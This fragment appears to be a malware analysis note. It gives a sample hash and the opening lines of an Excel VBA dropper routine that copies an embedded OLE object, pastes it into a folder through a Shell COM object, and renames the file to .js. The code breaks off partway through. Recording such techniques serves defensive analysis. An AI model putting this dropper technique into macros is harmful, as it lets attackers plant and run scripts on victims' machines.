3acc0848c4fa44af2f91688375bc200a40a36b7d2c567166f59625f69bb65751 from #579
- copy an OLE Object and paste into Scripting.FolderItem, this will get a txt, rename it to js
For Each Sh In Sheet1.OLEObjects
If InStr(1, Sh.Name, "Object", 1) Then
Sh.Copy
' this code paste Embedded Object to folder
Set KjCQxE = GetObject("new:13709620-C279-11CE-A49E-444553540000") ' Scripting.Shell